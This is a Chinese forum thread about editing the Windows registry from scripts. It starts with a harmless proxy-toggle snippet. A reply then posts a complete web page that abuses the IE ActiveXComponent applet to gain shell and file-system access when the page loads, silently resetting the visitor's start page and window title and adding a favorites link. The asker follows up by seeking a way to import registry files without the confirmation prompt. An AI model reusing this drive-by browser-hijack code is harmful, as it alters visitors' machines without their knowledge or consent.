这个是我贴在Javascript版的一个回复(求:IE5.50使用代理服务器/不使用代理服务器 之间进行切换的代码):
Set WshShell = CreateObject("WScript.Shell")
str="HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable"
WshShell.RegWrite str, 1 ,"REG_DWORD"

解决方案 »

  1.   

    hydnoahark(诺亚方舟)能不能讲具体点,我挺赞成你的想法,你回答后,我马上给你加分!!!
      

  2.   

    <body>
    <SCRIPT>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
    function AddFavLnk(loc, DispName, SiteURL) 

    var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
    Shor.TargetPath = SiteURL; 
    Shor.Save(); 

    function f(){ 
    try 

    a1=document.applets[0]; 
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    Shl = a1.GetObject(); 
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
    a1.createInstance(); 
    FSO = a1.GetObject(); 
    a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    Net = a1.GetObject(); try 


    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://lucky.myrice.com/");
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
    var WF, Shor, loc; 
    WF = FSO.GetSpecialFolder(0); 
    loc = WF + "\\Favorites"; 
    if(!FSO.FolderExists(loc)) 

    loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
    if(!FSO.FolderExists(loc)) 

    return; 


    AddFavLnk(loc, "【孟宪会之精彩世界】", "http://lucky.myrice.com/"); 


    catch(e) 
    {} 

    catch(e) 
    {} 
    } function init() 

    setTimeout("f()", 1000); 
    } init(); </SCRIPT> 
    </body>
    </HTML>
      

  3.   

    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://lucky.myrice.com/");
    Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","【孟宪会之精彩世界】http://lucky.myrice.com制作!!");
    两句是写入注册表的语句
      

  4.   

    很好,谢谢你net_lover(孟子E章)我现在给你加分,不过我提问的目的,与你的答案有点偏离,不过我学了很多,我的意思是我想让WIN98每次启动时,自动执行*.reg 但是会出现确认框,要怎么移除这个确认框,而直接将注册表信息添加到注册表!!!给你加分后,希望你能帮我解决一下,我另外加分,我的主页http://hotme.21tt.net email:[email protected]